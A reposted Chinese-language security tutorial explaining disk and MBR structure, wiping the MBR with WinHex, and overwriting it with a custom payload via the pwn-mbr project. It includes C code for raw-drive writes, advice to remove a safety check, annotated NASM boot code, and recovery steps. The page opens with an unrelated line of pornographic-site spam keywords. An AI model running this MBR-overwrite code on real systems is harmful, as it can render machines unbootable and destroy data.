小男孩‘自慰网亚洲一区二区,亚洲一级在线播放毛片,亚洲中文字幕av每天更新,黄aⅴ永久免费无码,91成人午夜在线精品,色网站免费在线观看,亚洲欧洲wwwww在线观看

分享

詳解MBR篡改技術(shù)

 imnobody2001 2019-06-17

0×01 硬盤的邏輯結(jié)構(gòu)

機械磁盤在物理結(jié)構(gòu)上是由磁片、馬達、磁頭、定位系統(tǒng)等部件構(gòu)成,通常一塊磁盤有若干塊磁片構(gòu)成,為了方便定位統(tǒng)一管理,將這些磁片進行了編號。一個盤片的兩面各有一個磁頭(Heads),每個盤片被劃分成若干個同心圓磁道,每個盤片的半徑均為固定值R的同心圓形成柱面(Cylinders),從外至里編號為0、1、2……每個盤片上的每個磁道又被劃分為若干個扇區(qū),一個扇區(qū)通常容量為512byte,并按照一定規(guī)則編號為1、2、3……形成Cylinders×Heads×Sector個扇區(qū),這三個參數(shù)即可定位一個扇區(qū)。從這里可以看出扇區(qū)是磁盤的最小存儲單元,對磁盤的讀寫只能以扇區(qū)為單位。(請務(wù)必注意最后一句話,后面的實驗會用到)

Question1:磁盤的扇區(qū)是什么時候劃分的?

Answer:在對磁盤進行低級格式化時(磁盤出廠前已經(jīng)完成),會劃分出柱面和磁道,將磁道劃分為若干個扇區(qū),每個扇區(qū)又劃分出標識部分ID、間隔區(qū)、GAP和數(shù)據(jù)區(qū)DATA等。而我們通常在操作系統(tǒng)中所用的格式化是高級格式化,僅僅是清除硬盤上的數(shù)據(jù),生成引導(dǎo)信息,初始化FAT表,標注邏輯壞道等。需要注意的是低級格式化是一種損耗性操作,對硬盤壽命有一定的負面影響。

由于后續(xù)實驗需要了解到磁盤數(shù)據(jù)的具體含義,在這里簡要介紹一下。硬盤上的數(shù)據(jù)按照其不同的特點和作用大致可分為5部分:MBR區(qū)、DBR區(qū)、FAT區(qū)、DIR區(qū)和DATA區(qū)。

1、MBR區(qū)

MBR(Main Boot Record 主引導(dǎo)記錄區(qū))位于整個硬盤的0磁道0柱面1扇區(qū)。MBR只占用該扇區(qū)的前446個字節(jié),另外的64個字節(jié)屬于DPT(Disk Partition Table硬盤分區(qū)表),最后兩個字節(jié)“55,AA”是分區(qū)的結(jié)束標志,這兩部分構(gòu)成了硬盤的主引導(dǎo)扇區(qū)。

2、DBR區(qū)

DBR(Dos Boot Record操作系統(tǒng)引導(dǎo)記錄區(qū))位于硬盤的0磁道1柱面1扇區(qū),是操作系統(tǒng)可以直接訪問的第一個扇區(qū),它包括一個引導(dǎo)程序和一個被稱為BPB(Bios Parameter Block)的本分區(qū)參數(shù)記錄表,DBR是在高級格式化時產(chǎn)生。

3、FAT區(qū)

FAT(File Allocation Table文件分配表)區(qū)位于DBR區(qū)之后。文件在存儲時并非連續(xù)存儲在某個區(qū)域,而是分成若干段進行鏈式存儲,F(xiàn)AT便是用于保存段與段之間的連接信息。由于FAT對于文件管理十分重要,所以在原FAT的后面會有一個備份FAT。

4、DIR區(qū)

DIR(Directory)是根目錄區(qū),位于備份FAT表之后,記錄著根目錄下每個文件(目錄)的起始單元,文件的屬性等。

5、數(shù)據(jù)(DATA)區(qū)

數(shù)據(jù)區(qū)位于DIR區(qū)之后,用于存儲真正的用戶原始數(shù)據(jù)。

0×02 MBR引導(dǎo)原理

計算機在按下電源鍵鍵以后,開始執(zhí)行主板bios程序。進行完一系列檢測和配置以后。開始按bios中設(shè)定的系統(tǒng)引導(dǎo)順序引導(dǎo)系統(tǒng)。當設(shè)置為從硬盤啟動時,Bios執(zhí)行完自己的程序后如何把執(zhí)行權(quán)交給硬盤呢?交給硬盤后又執(zhí)行了什么呢?

這些問題便是需要MBR來解決的,bios在執(zhí)行自己固有的程序以后就會跳轉(zhuǎn)到mbr中的第一條指令,將系統(tǒng)的控制權(quán)交由mbr來執(zhí)行。需要注意的是MBR不隨操作系統(tǒng)的不同而不同,意即不同的操作系統(tǒng)可能會存在相同的MBR,即使不同,MBR也不會夾帶操作系統(tǒng)的性質(zhì),具有公共引導(dǎo)的特性。

Question2:所有電腦都有MBR引導(dǎo)區(qū)嗎?

Answer:其中BIOS設(shè)置中,有兩種啟動進入操作系統(tǒng)的方法,分別是為UEFI和Legacey。 其中Legacy是早先出現(xiàn)的,而UEFI(Unified Extensible Firmware Interface)是后來發(fā)展出的可擴展固件接口。兩種模式分別對應(yīng)的硬盤分區(qū)格式:MBR格式和GUID(GPT)格式,所以只有采用Legacy啟動的才會擁有MBR扇區(qū)。

0×03 摧蘭折玉——暴力擦寫MBR

如果我們破壞了MBR會發(fā)生什么?利用winhex對MBR區(qū)域進行00填充操作,由于針對磁盤的讀寫操作需要高權(quán)限進行,所以請用管理員啟動winhex。

填充后:

修改后切記保存,才能使修改后的數(shù)據(jù)真正寫入到磁盤中。然后重啟電腦。

哦,對了,實驗務(wù)必在虛擬機中進行,務(wù)必做好快照,哈哈哈~~~~~前面忘說了。

0×04 偷梁換柱——篡改MBR

我們成功的破壞了MBR,既然Bios將控制權(quán)交給了MBR執(zhí)行,我們豈不是可以利用MBR做一些其他事。這里我們用到程序https://github.com/DavidBuchanan314/pwn-mbr,該程序是將自己的payload寫入到MBR區(qū)域執(zhí)行。

1、制作payload

工程中的payload.s文件屬于匯編語言程序,需要利用其進行編譯生成二進制payload。筆者剛開始選擇masm對其進行編譯,報一堆錯誤,后來才發(fā)現(xiàn)該匯編語法規(guī)范屬于nasm,使用nasm順利生成了payload。

2、RING3層直接讀寫磁盤數(shù)據(jù)

Windows利用內(nèi)核模式與用戶模式的嚴格切分確保了可靠性,這兩種模式分別對應(yīng)了CPU的Ring0與Ring3級別,在Ring3級下執(zhí)行的程序是不能夠直接訪問到硬件的。如果要讀寫磁盤上的扇區(qū)數(shù)據(jù),需要利用INT中斷來進行,但是也必須是在Ring0級才可以進行操作,而進入Ring0級的方法有:設(shè)備驅(qū)動程序、調(diào)用門、任務(wù)門、中斷門、陷阱門等,這勢必提升了操作門檻。

  而程序中對磁盤的操作直接使用了fopen等文件操作函數(shù),這是為什么?Windows的核心之一就是強大的文件管理能力,將所有資源都看成文件,無論是存儲在硬盤上的文件還是五花八門的硬件設(shè)備(硬盤,顯示器等),所以硬件也擁有自己特殊的文件路徑。

程序啟動時帶入的參數(shù)是物理驅(qū)動器的路徑:

fp = fopen(argv[1], 'r+'); if (fp == NULL) { printf('Could not open %s for read/write. Are you sure you have permission?\n', argv[1]); return 1; }fread(&mbr, SECTOR_SIZE, 1, fp);

Windows平臺的驅(qū)動器名一般為\.\PHYSICALDRIVE0',后面的數(shù)字以此類推;linux平臺通常為dev\sda。

3、程序的運行

通過閱讀源碼,可知程序?qū)Υ疟P進行了讀寫操作,而fopen等對物理驅(qū)動器的操作必須具備調(diào)試權(quán)限,否則就會打開失敗,所以我們選擇管理員運行程序。

運行后重啟系統(tǒng),我們看到屏幕上的字串。

按下回車鍵后,windows系統(tǒng)正常啟動。

4、閱讀程序

程序中這段代碼在實際執(zhí)行中會進入而使得程序退出,所以需要注釋掉,確保順利執(zhí)行。

if (mbr[0] != ASM_JMP) { // this is only a heuristic for added safety printf('No bootcode detected. Aborting!\n'); fclose(fp); return 1;}

通過對源碼的閱讀,大致梳理出程序流程:

讀取前512字節(jié),即MBR所在的扇區(qū)

向后尋找一塊全0的空白扇區(qū)

char isUsed = 1; while (isUsed) { fread(&readbuf, SECTOR_SIZE, 1, fp); for (int i = isUsed = 0; i < SECTOR_SIZE; isUsed |= readbuf[i++]);}

將原始MBR數(shù)據(jù)異或0xA6后存儲在該空白區(qū)域

for (int i = 0; i < SECTOR_SIZE; i++) mbr[i] ^= 0xA6;

將payload寫入到MBR扇區(qū)

需要注意的是,筆者在調(diào)試程序時發(fā)現(xiàn)payload在寫入時總是失敗,提示參數(shù)錯誤,后來發(fā)現(xiàn)在對硬盤讀寫時,必須是512字節(jié)的整數(shù)倍才行,所以需要對源程序進行修改,將payload補齊到512字節(jié)后寫入MBR扇區(qū)。

經(jīng)過上述修改后,系統(tǒng)重啟時并沒有順利啟動我們的payload,這里需要回顧第一章節(jié)里提到的MBR區(qū)的數(shù)據(jù)格式,在MBR所在的第一扇區(qū)除了前446字節(jié)是MBR程序外,后面的64個字節(jié)屬于DPT(Disk Partition Table硬盤分區(qū)表),最后兩個字節(jié)“55,AA”是分區(qū)的結(jié)束標志。所以我們在寫入payload的同時應(yīng)該修復(fù)DPT和結(jié)束標志,程序中需要在讀取原始MBR數(shù)據(jù)后加入以下代碼。

fread(&mbr, SECTOR_SIZE, 1, fp);//從磁盤中讀取MBR扇區(qū)

memcpy(payload, mbr, SECTOR_SIZE);//將原始MBR數(shù)據(jù)copy到payload

memset(payload, 0, 446);//將前446清空,留下后面的DPT表和結(jié)束標志

5、解讀payload

在閱讀payload匯編代碼前,需要明確一點:MBR在運行時是被加載到內(nèi)存地址為0:0x7C00的空間里執(zhí)行。

backup_magic equ 0x0DD03713 ; 約定備份MBR的頭部標志0x1337D00D ,便于搜索查找:

magic_addr equ 0x7FFCpayload_len equ 0x1B8 ; tells us how much of the MBR to copy back org 0x7C00 bits 16start: jmp realstart ; Just to look like a more normal MBR noprealstart: cli xor ax, ax ; 清空各個寄存器 mov es, ax mov fs, ax mov gs, ax mov ah, 0x0E ; 'Teletype output' mode for int 0x10 xor bl, bl.sLoop sub bl, 1 ; 將bl設(shè)置為255,為了循環(huán)打印255次pwn文字 jz doCopy ;判斷是否打印完畢,完畢則跳轉(zhuǎn)至docopy處 mov si, pwned.cLoop lodsb ; AL <- [DS:SI] && SI++ 將目的地址的內(nèi)容讀到源地址,復(fù)制pwn文字操作 xor al, 0x83 ;pwn文字解密操作 jz .sLoop int 0x10 ;輸出 jmp .cLoopdoCopy: xor ah, ah int 0x16 ; 等待鍵盤輸入回車鍵; 開始搜索定位mbr備份的位置.scan mov si, DAPACK mov ah, 0x42 int 0x13 ;使用int13h,ah=0x42讀取扇區(qū) mov ax, [d_lba] ;將ax賦值為1號扇區(qū) add ax, 1 ;扇區(qū)號累加操作 mov [d_lba], ax mov eax, [magic_addr] ;讀取本扇區(qū)最開頭的標記位數(shù)據(jù) mov ebx, backup_magic cmp eax, ebx ;對比標記位數(shù)據(jù),判斷是都否為備份的扇區(qū) jne .scan ; 將備份扇區(qū)還原到MBR的位置 mov si, stage2 mov bx, 0x8000.copy lodsb ;將stage2區(qū)塊的指令代碼讀寫到內(nèi)存0x8000位置處 mov [bx], al add bx, 1 cmp si, stage2end jl .copy jmp 0x8000 ;跳轉(zhuǎn)到0x8000位置開始執(zhí)行stage2代碼stage2: ; 該塊代碼會被重新裝載到內(nèi)存0x8000位置 mov si, 0x7E00.copy lodsb xor al, 0xA6 ;備份的MBR數(shù)據(jù)進行解密操作 mov [si-0x201], al ;將還原的MBR裝載到內(nèi)存0x7C00處 cmp si, 0x7E00 + payload_len jl .copy sti jmp 0:0x7C00 ;跳轉(zhuǎn)到0x7C00內(nèi)存處開始執(zhí)行還原的MBR,從而正常啟動操作系統(tǒng)stage2end:pwned: db 206, 193, 209, 163, 211, 212, 205, 198, 199, 162, 163, 163, 163, 131 ;該數(shù)據(jù)為異或后的數(shù)據(jù) 'MBR PWNED!   ' ^ 0x83 align 4 ; needed for Disk Address PacketDAPACK: db 0x10 db 0blkcnt: dw 1 ; int 13 resets this to # of blocks actually read/writtendb_add: dw 0x7E00 ; memory buffer destination address (0:7E00) dw 0 ; in memory page zerod_lba: dd 1 ; put the lba to read in this spotdd 0 ; more storage bytes only for big lba's ( > 4 bytes )

疑惑:筆者在進行測試時發(fā)現(xiàn),xp/win2003系統(tǒng)均可完成上述實驗的全過程,而換成win7會就會發(fā)現(xiàn)在出現(xiàn)pwn文字后,按下回車鍵無任何反應(yīng),系統(tǒng)并沒有正常啟動。

0×05 鳳凰涅槃--MBR修復(fù)

如果有同學不慎中招了MBR病毒,不要慌張,下面我們來講如何修復(fù)被破壞的MBR扇區(qū)。根據(jù)之前我們對MBR工作機制的認識,當MBR被破壞時,系統(tǒng)無法正常引導(dǎo),磁盤分區(qū)信息丟失,所以需要修復(fù)這兩部分才可以正常啟動系統(tǒng)。

1、下載PE系統(tǒng),利用光驅(qū)或U盤等方式,啟動PE系統(tǒng);

2、打開PE系統(tǒng)中的diskgenius分區(qū)工具,可以看到硬盤上的數(shù)據(jù)全都不見了;

3、右鍵點擊硬盤選擇“搜索已丟失的分區(qū)”;

4、選擇“整個硬盤”,點擊開始搜索,diskgenius會在整個磁盤范圍內(nèi)搜索匹配分區(qū)表;

5、當搜索到分區(qū)信息時會彈框確認,請按“保留”按鍵;

6、搜索完畢后,點擊保存按鈕;

7、此時可以看到磁盤上的文件信息都回來了;

8、重建主引導(dǎo)記錄

9、進入PE系統(tǒng)的“修復(fù)系統(tǒng)引導(dǎo)”程序,對系統(tǒng)引導(dǎo)進行修復(fù)。

10、Reset,大功告成!

0×06 后記

前面我們了解了MBR磁盤鎖的基本運行機制,以及MBR扇區(qū)修復(fù)技術(shù),其實有關(guān)MBR的利用遠不止這些,在一些高級利用場景中,我們可以利用修改MBR代碼的方式實現(xiàn)病毒程序的持久化,而且這種形式的持久化方式是不依賴于操作系統(tǒng),更加隱蔽難以察覺,因此部分殺毒軟件也緊盯MBR扇區(qū),利用多種技術(shù)對MBR扇區(qū)進行了寫保護,防止病毒的篡改侵蝕。

*

*本文作者:追影人,本文屬 FreeBuf 原創(chuàng)獎勵計劃

    本站是提供個人知識管理的網(wǎng)絡(luò)存儲空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點。請注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購買等信息,謹防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點擊一鍵舉報。
    轉(zhuǎn)藏 分享 獻花(0

    0條評論

    發(fā)表

    請遵守用戶 評論公約

    類似文章 更多